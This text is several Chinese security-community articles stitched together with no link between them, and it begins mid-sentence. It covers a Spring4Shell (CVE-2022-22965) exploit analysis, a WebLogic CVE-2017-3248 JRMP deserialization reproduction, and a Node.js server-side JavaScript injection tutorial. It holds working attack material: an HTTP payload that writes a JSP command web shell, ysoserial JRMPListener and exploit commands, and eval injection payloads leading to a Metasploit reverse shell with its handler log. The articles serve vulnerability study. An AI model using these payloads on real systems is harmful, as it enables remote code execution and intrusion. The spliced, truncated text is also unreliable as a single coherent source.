时当属性为 null 时自动创建对象 beanWrapper.setAutoGrowNestedPaths(true); beanWrapper.setPropertyValue("director.name", "director"); beanWrapper.setPropertyValue("employees[0].name", "t4r"); #### 获取类实例 Person person = (Person) beanWrapper.getWrappedInstance(); #### 获取对象属性 String name = (String) beanWrapper.getPropertyValue("name"); ### AbstractNestablePropertyAccessor BeanWrapper 有两个核心的实现类 * `AbstractNestablePropertyAccessor` 提供对嵌套属性的支持 * `BeanWrapperImpl` 提供对 JavaBean 的内省功能，如`PropertyDescriptor` 上面已经简单介绍过了`BeanWrapperImpl` 而在`Spring-framework 4.2`之后，`AbstractNestablePropertyAccessor`将原`BeanWrapperImpl`的功能抽出，`BeanWrapperImpl`只提供对`JavaBean`的内省功能，所以很多老哥看`CVE-2010-1622`的分析时可能会比较疑惑 #### 核心成员属性 * `Object wrappedObject`：被`BeanWrapper`包装的对象 * `String nestedPath`：当前`BeanWrapper`对象所属嵌套层次的属性名，最顶层的`BeanWrapper`的`nestedPath`的值为空 * `Object rootObject`：最顶层`BeanWrapper`所包装的对象 * `Map<String, AbstractNestablePropertyAccessor> nestedPropertyAccessors`：缓存当前`BeanWrapper`的嵌套属性的`nestedPath`和对应的`BeanWrapperImpl`对象 #### getPropertyAccessorForPropertyPath `getPropertyAccessorForPropertyPath`根据属性(`propertyPath`)获取所在`bean`的包装对象`beanWrapper`，如果是类似`class.module.classLoader`的嵌套属性，则需要递归获取。真正获取指定属性的包装对象则由方法`getNestedPropertyAccessor`完成 该函数内的具体操作，以属性`class.module.classLoader`为例 1. 获取第一个`.`之前的属性部分 2. `递归`处理嵌套属性 1. 先获取`class`属性所在类的`rootBeanWrapper` 2. 再获取`module`属性所在类的`classBeanWrapper` 3. 以此类推，获取最后一个属性classLoader属性所在类的`moduleBeanWrapper` `getPropertyAccessorForPropertyPath`处理属性有两种情况: * class（不包含`.`）：直接范围当前bean的包装对象 * class.module.classLoader（包含`.`）：从当前对象开始递归查找，查找当前`beanWrapper`指定属性的包装对象由`getNestedPropertyAccessor()`完成 `getNestedPropertyAccessor`函数中的主要工作如下： * `nestedPropertyAccessors`用于缓存已经查找到过的属性 * `getPropertyNameTokens`获取属性对应的`token`值，主要用于解循环嵌套属性 * 属性不存在则根据`autoGrowNestedPaths` 决定是否自动创建 * 先从缓存中获取，没有就创建一个新的`AbstractNestablePropertyAccessor`对象 #### PropertyTokenHolder * 用于解析嵌套属性名称 #### PropertyHandler * `PropertyHandler`的默认实现是`BeanPropertyHandler`，位于`BeanWrapperImpl`内 * `BeanPropertyHandler`是对`PropertyDescriptor`的封装，提供了对`JavaBean`底层的操作，如属性的读写 #### setPropertyValue 该函数内的主要操作如下 * 调用`getPropertyAccessorForPropertyPath`递归获取`propertyName`属性所在的`beanWrapper` * 获取属性的`token`，`token`用于标记该次属性注入是简单属性注入，还是`Array、Map、List、Set`复杂类型的属性注入 * 设置属性值 #### getPropertyValue * 顾名思义，根据属性名称获取对应的值 * 通过反射完成 #### setDefaultValue * `autoGrowNestedPaths=true`时会创建默认的对象 * 创建对象的操作会由`setDefaultValue`调用其无参构造方法完成 ## 漏洞分析 ### 漏洞复现 IDEA创建一个SpringMVC项目，搭建过程不赘述 **web.xml** <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>springMVC</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>WEB-INF/springMVC.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>springMVC</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> </web-app> **springMVC.xml** <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd"> <bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" /> <bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter" /> <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/> <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"/> <context:component-scan base-package="com.example.springshell.controller"/> </beans> **maven** <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.17</version> </dependency> **Controller** package com.example.springshell.controller; import com.example.springshell.bean.Person; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class TestController { @RequestMapping("/hello") public String hello(Person person){ return person.getName(); } } **JavaBean** package com.example.springshell.bean; public class Person{ private String name; private int age; public int getAge(){ return age; } public String getName(){ return name; } public void setAge(int age){ this.age = age; } public void setName(String name){ this.name = name; } } **payload** POST /hello HTTP/1.1 Host: localhost:8082 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36 X-Requested-With: XMLHttpRequest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.10.128:8080/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9 Connection: close suffix: %> prefix: <% Content-Length: 679 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= ### 断点分析 在有了上文的属性注入基础后，再来分析漏洞过程，就显得格外清晰了 上文中提到`Spring-framework 4.2`之后由`AbstractNestablePropertyAccessor`来完成嵌套输入注入的支持 在`AbstractNestablePropertyAccessor#setPropertyValue`处设置断点，根据设置的控制器路由，发送上述的http请求，触发断点（断点的位置已经是完成了参数绑定后的位置，参数绑定主要是通过`DataBinder`完成，该操作不是漏洞的关键点，略过） 可以看到函数的入参是pv，我们追溯一下，可以发现`AbstractPropertyAccessor#setPropertyValues`通过for循环，对请求中的每一个键值对，调用`AbstractNestablePropertyAccessor#setPropertyValue`进行属性注入操作 回到`AbstractNestablePropertyAccessor#setPropertyValue`，分析一下该函数做的事： * 创建了一个`PropertyTokenHolder`对象，上文中也提到，用于解析嵌套属性名称 * 属性名存在则创建一个`AbstractNestablePropertyAccessor`对象，并调用`getPropertyAccessorForPropertyPath` 此时的`propertyName`为`class.module.classLoader.resources.context.parent.pipeline.first.directory`，跟入`getPropertyAccessorForPropertyPath` 在`getPropertyAccessorForPropertyPath`中，正如前文所说，通过递归的方式，获取嵌套属性的包装对象`beanWrapper` 这里首先会通过`getFirstNestedPropertySeparatorIndex`拿到`.`前的一个属性，拿到`class`属性后，调用`getNestedPropertyAccessor` 该函数中: * 创建了一个缓存列表，在后续操作中，判断获取的属性是否已经在列表中，如在则直接获取，否则会新创建一个`AbstractNestablePropertyAccessor` * 创建了一个`PropertyTokenHolder`，之后调用`getPropertyValue`处理它 简单提一下，这里的缓存列表结构如下，可以发现嵌套的属性 在`AbstractNestablePropertyAccessor#getPropertyValue`中又调用`getLocalPropertyHandler`处理传入的`PropertyTokenHolder`中的`actualName（即class）` `AbstractNestablePropertyAccessor`中的`getLocalPropertyHandler`是一个抽象方法，其唯一子类`BeanWrapperImpl`重写了该方法，跟入该方法 调用了`CachedIntrospectionResults#getPropertyDescriptor` 而真正的逻辑在其构造方法中，看到了我们熟悉的`getBeanInfo` 这里也就解释了我们为什么能获取到`class`这个属性值，因此其没用调用另一个有`stopclass`参数的重载方法 到此，算是完成了获取class这个参数的beanWrapper 回到`AbstractNestablePropertyAccessor.setPropertyValue` 接着会调用重载的方法，进行属性的注入 又调用了`processLocalProperty` `processLocalProperty`函数之前也提到过，完成了`类型转换`以及调用`BeanWrapperImpl#setValue`通过反射完成了最终的`属性注入` ### 绕过 在`CachedIntrospectionResults`的构造方法中，可以看到对`beanClass`以及属性名做了判断 * `beanClass`非`class` * 属性名非`classLoader`或`protectionDomain` 显然`Class.getClassLoader`被拦截了 但是Java9新增了`module`，可以通过`Class.getModule`方法调用`getClassloader`的方式继续访问更多对象的属性 ### Payload 在调试过程中，发现了payload中的 `class.module.classLoader.resources.context.parent.pipeline.first` * `context`对应`StandardContext` * `parent`对应`StandardHost` * `pipeline`对应`StandardPipeline` * `first`对应`AccessLogValve` 因此，公开的利用链也就是利用`AccessLogValve`，这个类用来设置`tomcat`得日志存储参数，修改参数可以达到文件写入的效果 payload中 suffix: %> prefix: <% class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= 由于`%`会被过滤，`pattern`里通过引用头部来实现构造 %{x}i可引用请求头字段 %{x}i 请求headers的信息 %{x}o 响应headers的信息 %{x}c 请求cookie的信息 %{x}r xxx是ServletRequest的一个属性 %{x}s xxx是HttpSession的一个属性 此外`StandardContext`中的configFile可发送http请求，可以用于漏洞的检测 发送如下请求 POST /springshell_war_exploded/hello HTTP/1.1 Host: localhost:8082 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36 X-Requested-With: XMLHttpRequest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.10.128:8080/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9 Connection: close Content-Length: 163 class.module.classLoader.resources.context.configFile=http://test.9vvyp3.dnslog.cn&class.module.classLoader.resources.context.configFile.content.config=config.conf DNS记录 ## 参考文章 <http://rui0.cn/archives/1158> <https://xz.aliyun.com/t/11136> <https://www.cnblogs.com/binarylei/p/12290153.html>
社区文章
# CVE-2017-3248——WebLogic反序列化初探 | ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 一、原理 ### （一）概述 前面我们提到， CVE-2015-4852往后有一系列漏洞都是立足于对其补丁的绕过的，CVE-2017-3248也是其中之一。 WebLogic 使用这种黑名单的方式试图过滤掉危险的类的这种修复方式有一定的效果，但也存在被绕过的风险。根据学习，我了解到的绕过的思路有如下几种：一是找到可用且未在黑名单之内的新类（新类要能构造链实现任意代码执行），此时的payload为新的；二是找到一种类，这种类可以反序列化自身成员变量，此时可以封装旧的payload；三是找到未在黑名单之内的新反序列化点，此时可以发旧的payload。CVE-2016-3510和CVE-2016-0638主要是基于第二种思路， CVE-2017-3248 则是基于第三种思路，通过JRMP 协议达到执行任意反序列化 payload。 如果CVE-2015-4852是这个系列的开篇，后面的漏洞都是它的后续的话，CVE-2017-3248则可以说是基于CVE-2015-4852的绕过，并开启了一个新系列。2017年之后的漏洞多有通过构造JRMP服务器监听进行反向触发的特点。举个不恰当的例子，神探狄仁杰一的第一章“使团惊魂”开启了神探狄仁杰整个系列，神探狄仁杰二的第一章“关河疑影”则是基于“使团惊魂”的后续剧情开启了新的篇章。 说句题外话，结合对调用栈的分析，个人感觉，这一系列漏洞的利用点随着时间顺序正在逐渐用到底层协议方面的内容。 ### （二）CVE-2017-3248 先讲下需要的知识： **1、RMI** 远程方法调用(Remote Method Invocation)。能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。 宏观上看，RMI远程调用步骤： 1）客户对象调用客户端辅助对象上的方法； 2）客户端辅助对象打包调用信息（变量，方法名），通过网络发送给服务端辅助对象； 3）服务端辅助对象将客户端辅助对象发送来的信息解包，找出真正被调用的方法以及该方法所在对象； 4）调用真正服务对象上的真正方法，并将结果返回给服务端辅助对象； 5）服务端辅助对象将结果打包，发送给客户端辅助对象； 6）客户端辅助对象将返回值解包，返回给客户对象； 7）客户对象获得返回值； 详细来看，对于Client来说，他甚至可以不知道有Server的存在，所有他需要的只是一个stub，对于Client来说，调用远程方法就是调用Stub的方法， 从我们一个局外人的角度上看，数据是在Client和Server之间是横向流动的，但是微观上看整个流程必有网络层面的大量的纵向流动，一个请求先从Client发出，交给Stub，走过Transport Layer之后交由Skeleton，最后到Server，Server调用相应方法，然后将结果原路返回，流程如下： 1.Server监听一个端口，此端口由JVM随机选择（这一点在ysoserial中可见）； 2.Client对于Server上的远程对象的位置信息（通信地址和端口）一无所知，只知道向stub发起请求，而stub中包含了这些信息，并封装了底层网络操作； 3.Client调用Stub上对应的方法； 4.Stub连接到Server监听的通信端口并提交方法的参数； 5.Server上执行具体的方法，并将结果原路返回给Stub； 对于Client来说，远程调用的执行结果是Stub给它的，从Client看来就好像是Stub在本地执行了这个方法一样。 这一部分的原理有很多大佬讲的很清楚了，不再赘述，只提一点：stub可以先从RMIRegister中获取到Server中对象的信息，进而对其进行调用。在网络上，调用所需的参数（client给RMIregister、RMIRegister给Server）和调用的结果（Server给RMIregister、RMIregister给Client）是以序列化字节流的格式传输的，也就为攻击提供了可能。 RMI依赖于ip与端口，且依赖于Java远程消息交换协议JRMP（Java Remote Messaging Protocol），该协议为java定制，要求服务端与客户端都为java编写。 **2、JRMP** Java远程消息交换协议（Java Remote MessagingProtocol），是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。作为一个Java特有的、适用于Java之间远程调用的基于流的协议，要求客户端和服务器上都使用Java对象。 ### （三）原理 **1.原理** 结合我的调试过程与自己的理解谈谈我对原理的粗浅的认识。 整个过程涉及到的内容跟之前相比已经比较偏底层了，涉及到RMI和DGC的机制，RMI的一些过程在调试过程中会有显现，我想简单讲下和DGC有关的部分，之前没有遇到过。 具体来讲，这里利用RMI，让victim反序列化UnicastRef这个类，使该类发起一个JRMP连接到恶意服务端上，从而在DGC层造成一个反序列化，因为DGC层的filter是在反序列化之后进行设置的，所以之前设置的黑名单过滤没有作用， 正常情况下，DGC server通过实现引用计数接口来实现内存管理，当DGC client调用一个远程对象（增加一个引用计数）时，需要调用DGC server的dirty()函数，然后dirty()返回给client一个lease(DGCClient.vmid, DGCClient.leaseValue)；Client需要不断调用dirty()函数来更新其对相应对象的引用的expire；当Client不再需要这个对象时，需要调用DGC server的clean()函数。 对于DGC server来说，其关键部分是dirty()和clean()，对于DGC Client来说，关键函数是registerRefs()，这又和RMI的内容有关，对于这个漏洞我们只需要知道RMI调用的对象需要register即可，不必过多研究。 我们知道，攻击过程涉及三方，attacker（这里所指的攻击方仅发送payload使victim向JRMP Server或者叫JRMP Listener发起请求）、JRMP Server（或者叫JRMP Listener）和victim，attacker使用payload攻击victim，victim通过RMI向DGC server（此处为JRMP Server）发起dirty()请求，但这里返回的不再是一个常规的lease，而是构造好的数据（甚至和前面的几个CVE相比没有什么差别），victim收到后，进行反序列化，从而触发RCE。 这一系列漏洞同宗同源，都可以看做是一条链的变种，都可以绕过所谓的黑名单，感觉颇有点像黑名单只卡住了整条链上的一个点，所以换个其他的切入点就能绕过。 **2.工具原理** 这里可以分两部分，一是JRMP Server的部分，二是attacker的部分，分别对应着ysoserial中的 JRMPListener和JRMPClient。 **（1）JRMPListener** 这里遇到了一个离谱的事情，就是在IDEA里只有用JDK8才能成功编译ysoserial，平常跑ysoserial.jar的JDK7会有错。 配置如下， 先看一下main的源码， 下面结合调试看一下具体的流程， 先跟进makePayloadObject， 跟到return， 可以看到，这里和之前CVE-2015-4852使用的payload别无二致，都是CommonsCollections1类型的AnnotationInvocationHandler。 继续跟进， 开启了本地监听，接下来的run函数会一直监听。 若是接收到请求，先判断请求类型，若为DGC则会将payload返回出去。 可以看到，返回的就是AnnotationInvocationHandler， 这一部分的功能比较好理解，不再多做解释。 **（2）JRMPClient** 上一部分是向发起DGC请求的RMI Registry返回一个恶意对象让其解析，这一部分即是为了使靶机能够向JRMP Listener发起DGC请求。 这一部分的功能实现在payload目录下JRMPClient里。 这里主要就是从TCP层开始向上构造，封装这个装有UnicastRef的实例，发送victim，让它向JRMP Server发起DGC请求。 ## 二、调试 ### （一）环境搭建 在正式开始前记录在启动或停止docker中WebLogic服务时遇到的两个小问题， 删除servers/AdminServer/tmp/AdminServer.lok即可 解决方法不难，删除对应目录下的 embeddedldap.lok 即可。 很奇怪，之前没有遇到过类似的问题，不知是不是异常退出导致的。 此处的搭建可以直接使用vulhub的环境 docker-compose up -d ### （二）复现 搭建好后，访问 ip:7001/console 然后启动一个JRMP Server: java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/aug' 其中，7777是JRMP Server监听的端口，’touch /tmp/aug’即为想执行的命令，。 由于我这里是在Ubuntu上开启的docker，所以这里要在Ubuntu上启动一个JRMP Server（我怀疑这是一个坑，起初没有注意这个问题，直接在Windows上开启了一个JRMP Server，虽然docker无法ping到Windows，Windows上的JRMP Server却能收到连接，但无法复现。后来换成在Ubuntu上启动JRMP Server，则可复现成功）。 然后，使用python2运行， [exploit.py](https://www.exploit-db.com/exploits/44553) 向目标Weblogic（ip:7001/console）发送数据包： python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] 其中，victim ip和victim port是目标weblogic的IP和端口，path to ysoserial是本地ysoserial的路径，JRMPListener ip和JRMPListener port第一步中启动JRMP Server的IP地址和端口。JRMPClient是执行JRMPClient的类，可选的值是JRMPClient（针对CVE-2017-3248）或JRMPClient2（针对CVE-2017-3248的绕过）。 最后查看相应目录， 可见已成功执行命令。 ### （三）调试 开启JRMP Server后，以exp打之，先是正常的读入字节流进行反序列化（这里很遗憾的一点就是环境对应不到相应的补丁，看不到完全的流程）， ysoserial中，反向连接所需的host和port先存入te，而后存入了LiveRef中，接着封装进 UnicastRef 里， 再封装进 RemoteObjectInvocationHandler 中，最后用 Proxy.newProxyInstance 生成了一个 proxy ，这里和之前区别不大， exp打过去，会触发RemoteObjectInvocationHandler的反序列化 RemoteObjectInvocationHandler 反序列化时，会调用其父类 RemoteObject 的 readObject()， 因为有重写，会越过这一段， 在下面调用， 就开始触发。 这里从跟进RemoteObject的readObject向下走， 向下， 接下来就层层剥开， LiveRef的read函数中会向server发起请求，注册对象， 接下来进入DGCClient（但不知道什么原因这里有的点断不下来）， 这里面调用了重载的registerRefs， 这个函数里面就有我们最终需要的makeDirtyCall， 跟进， 接下来就是关键部分， 这里的this.dgc.dirty是一个关键点，正常情况下它应该返回一个Lease，作为这个远程对象的存活时间的依据， 如下，真实的Lease， 但是这里远程服务器是恶意的，返回的并不是一个Lease，而是一个构造好的Set，虚假的Lease， 而这里的触发点并不在黑名单之列，故而不会受影响。 再向下跟就进入了我们熟悉的CommonsCollections1环节（这是我的一个疑惑点，为什么就进去了）， 接受指点和查阅资料后，意识到跟进的不够深入，于是重新调试， [参考链接](https://xz.aliyun.com/t/2650#toc-2) 接着下面这个场景，重新调试， 根据之前调用栈的情况， 我们知道应该跟进到DGCImpl_Stub的dirty（而非普通的DGC）里（个人认为这算是调试工具的一点点不足，就是无法通过分析代码逻辑确定一个变量的最终类型，对于变量的相关信息主要还是静态分析获得的。但也不能就说这个工具不好，毕竟人也很难做到）， 然而尝试了好几种方法也没能断下来， 无奈，只好越过它跟进 UnicastRef.invoke()（这里想了点题外话，为什么不能完全依靠静态时的Ctrl+点击跟进RefRemote.invoke()，而必须要根据动态调试结合调用栈确定是 UnicastRef.invoke()。原因一是要围绕主题，整个CVE的利用都是用到的是UnicastRef而不是RefRemote；原因二是只有动态调起来才能确定程序的走向）, 继续跟进， 这里的几处判断都比较简单，进入switch， 这里调用了this.in.readObject()， 查看this.in， 可见，正是构造好的字节流， 接着正常进入了AnnotationInvocationHandler的readObject， 此时完整的调用栈如下， readObject:320, AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:39, NativeMethodAccessorImpl (sun.reflect) [2] invoke:25, DelegatingMethodAccessorImpl (sun.reflect) invoke:597, Method (java.lang.reflect) invokeReadObject:969, ObjectStreamClass (java.io) readSerialData:1871, ObjectInputStream (java.io) readOrdinaryObject:1775, ObjectInputStream (java.io) readObject0:1327, ObjectInputStream (java.io) defaultReadFields:1969, ObjectInputStream (java.io) readSerialData:1893, ObjectInputStream (java.io) readOrdinaryObject:1775, ObjectInputStream (java.io) readObject0:1327, ObjectInputStream (java.io) defaultReadFields:1969, ObjectInputStream (java.io) defaultReadObject:478, ObjectInputStream (java.io) readObject:313, AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:39, NativeMethodAccessorImpl (sun.reflect) [1] invoke:25, DelegatingMethodAccessorImpl (sun.reflect) invoke:597, Method (java.lang.reflect) invokeReadObject:969, ObjectStreamClass (java.io) readSerialData:1871, ObjectInputStream (java.io) readOrdinaryObject:1775, ObjectInputStream (java.io) readObject0:1327, ObjectInputStream (java.io) defaultReadFields:1969, ObjectInputStream (java.io) readSerialData:1893, ObjectInputStream (java.io) readOrdinaryObject:1775, ObjectInputStream (java.io) readObject0:1327, ObjectInputStream (java.io) readObject:349, ObjectInputStream (java.io) executeCall:225, StreamRemoteCall (sun.rmi.transport) invoke:359, UnicastRef (sun.rmi.server) dirty:-1, DGCImpl_Stub (sun.rmi.transport) makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport) access$1600:153, DGCClient$EndpointEntry (sun.rmi.transport) run:555, DGCClient$EndpointEntry$RenewCleanThread (sun.rmi.transport) run:662, Thread (java.lang) 可以看出是起于DGCClient 的makeDirtyCall及相关的成员变量， 接下来是熟悉的invoke(), 查看此时的调用栈， 和CVE-2015-4852的调用栈对比来看（黄圈内为黑名单设的点，红框向上即为CommonsCollections1的链）， 从这里我们可以看出这里的反序列化是由DGC请求触发的，没有走原来的线路，所以在原来的那几个反序列化点上设置的限制条件没有任何用处。 下面都很熟悉了，稍作展示，不再赘述。 当这些完成后，退回到executeCall() 中， 引发异常， 这里便是前面看到的异常。 另外，从Ubuntu 的wireshark里抓包，查看其返回给docker的数据包的情况， 载荷的一小部分， 由此可见，返回给靶机docker的数据包是序列化后的CommonsCollections1的攻击链，确实与原来无异，也与上面的this.in一致。 ## 三、收获与启示 调完之后，我意识到最开始的那个比喻虽然不贴合严肃的学习，却跟这几个漏洞的演进过程比较贴切。 这几个漏洞的基础都是最开始CVE-2015-4852的那条链，由于Oracle在进行防护时采用的黑名单不严谨（比如只截断一个链上的一个点），对这条链的后续利用可谓是层出不穷。 起初的学习过程中，我认为这个系列的漏洞的黑名单只是个噱头而已，作用不大。然而，在这个漏洞的调试过程中，我感受到：这个黑名单虽然没能完全达到防护的效果，但它一定程度上已经发挥了不小的防护作用。CVE-2015-4852的黑名单添加了CVE-2016-3510和CVE-2016-0638的触发点后，原来的那条链从源头上基本被切断了，很难找到合适的线路去连接CommonsCollections1的片段了，这已经是一个不小的进步了。这一现状迫使大牛们寻找新的利用链路，在2017年提出了通过构造JRMP Listener 反向触发的方法，算是又开启了一个新的系列。 在CVE-2017-3248的学习过程中，我感受到了比最开始接触CVE-2015-4852时更大的压力，之前虽然学了Java的一些基础知识，但是对于其中的很多内容理解不够到位，这个漏洞涉及到的内容偏底层，对我这样一个Java新手来说难度有些大，我通过自己写demo、深入跟踪调试的方法才慢慢能够理解其部分的内在原理，一定程度上算是走出了自己的舒适区。 另外，这里我有一点体会到了二分法解决问题的思路，这个描述不太准确，大体的意思就是先确定调试过程中的几个少量的关键点，然后以这些点分段，逐段下断仔细研究、调试。
社区文章
# SSJI —— Node.js漏洞审计系列（一） ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 0x00 前言 hello我是掌控安全实验室的聂风，JavaScript在Node.js的帮助下变成了服务端脚本语言，那么既然是服务端脚本语言，就可能存在一些安全性问题。SSJI(服务器端JavaScript注入) 就是一种比较新颖的攻击手法。攻击者可以利用JS函数在服务器上执行恶意JS代码获得cmdshell。 ## 0x01 环境搭建 工具： [Node.js](https://nodejs.org/dist/v10.15.3/node-v10.15.3-x64.msi) <https://nodejs.org/dist/v10.15.3/node-v10.15.3-x64.msi> [Nodexp](https://github.com/esmog/nodexp/archive/master.zip) https://github.com/esmog/nodexp/archive/master.zip Metasploit-frameword(MSF) 搭建: 先傻瓜式的安装Node.js 安装好后Node.js 记得再安装一个express框架 npm install express –save (新版的Node.js都自带了npm) ## 0x02 SSJI危害 如果没有对输入进行检测，那么可能会容易受到攻击，攻击者可以利用JS函数在服务器上执行恶意JS代码。 可利用的函数有什么？ Eval() setTimeout() Setinterval() Funtion() 例如：(Eval.js:) var express = require('express'); var app = express(); app.get('/', function(req, res) {      var resp=eval(req.query.name);      res.send('Response</br>'+resp); }); app.listen(3002); console.log('Server runing at http://127.0.0.1:3002/'); 当我们使用Node.js去运行这个js的时候会在本地开启一个3002端口的WEB服务，然后他会获取GET方式传参上来的传参名为name的值，然后将获取到的值放在eval()函数中执行。 我们去访问这个端口 然后我们可以对他进行GET传参，比如name=console.log(“hello World”); 传参后就很明显执行了，在命令行中很明显的输出了Hello World! 那么我们既然能够执行输出，是不是能执行其他语句？比如一些恶意语句. process.exit() / process.kill(process.pid) 还可以杀死他运行进程（NodeJs） 进程被终结掉了。 基本上，攻击者可以在系统上执行/执行几乎任何操作（在用户权限限制内） 我们还可以尝试调用核心模块fs读取/列出当前目录下的文件名和文件夹名 res.end(require('fs').readdirSync('.').toString()) 我们也可以尝试调用核心模块fs写入文件(虽然没有回显，但是还是成功写入) res.end(require('fs').writeFileSync('message.txt','hello')) 我们也可以尝试调用核心模块fs去读取他的文件 res.end(require('fs').readFileSync('a.js','utf-8')) 如果目标的机器上面安装了node-cmd就可以调用cmd (为显示明了我去调用一个exe安装) var nodeCmd = require('node-cmd');nodeCmd.run('360cse_9.5.0.138.exe'); 很明显我们就调用了cmd ## 0x03 通过nodexp获取cmdshell 我们也可以尝试使用NodeXP工具加MSF来成功的获取一个cmdshell 使用方法： GET: python nodexp.py –url=http://localhost:3001/?name=[INJECT_HERE] POST: python nodexp.py –url=http://localhost:3001/post.js –pdata=username=[INJECT_HERE] 设置一个攻击机器的IP(装有MSF) 设定端口 然后会自动运行一个MSF 自动配置好 选择1去打一个cmdshell 成功返回一个session 选中 sessions -i 1 （然后会卡，直接恩回车就行） 成功获得cmdshell MSF运行语句： [*] Processing /root/nodexp-master/scripts/nodejs_shell.rc for ERB directives. resource (/root/nodexp-master/scripts/nodejs_shell.rc)> use exploit/multi/handler resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set payload nodejs/shell_reverse_tcp payload => nodejs/shell_reverse_tcp resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set lhost 172.16.0.160 lhost => 172.16.0.160 resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set lport 4570 lport => 4570 resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set ExitOnSession true ExitOnSession => true resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' InitialAutoRunScript => post/multi/manage/shell_to_meterpreter resource (/root/nodexp-master/scripts/nodejs_shell.rc)> spool /root/nodexp-master/scripts/nodejs_shell.rc.output.txt [*] Spooling to file /root/nodexp-master/scripts/nodejs_shell.rc.output.txt... resource (/root/nodexp-master/scripts/nodejs_shell.rc)> exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 172.16.0.160:4570 msf5 exploit(multi/handler) > [*] Command shell session 1 opened (172.16.0.160:4570 -> 172.16.0.236:51759) at 2019-03-21 18:01:56 +0800 [*] Session ID 1 (172.16.0.160:4570 -> 172.16.0.236:51759) processing InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' [!] SESSION may not be compatible with this module. [*] Upgrading session ID: 1 ## 0x04 总结 现在使用JavaScript开发的网站将越来越多，但是SSJI(服务器端JavaScript注入) 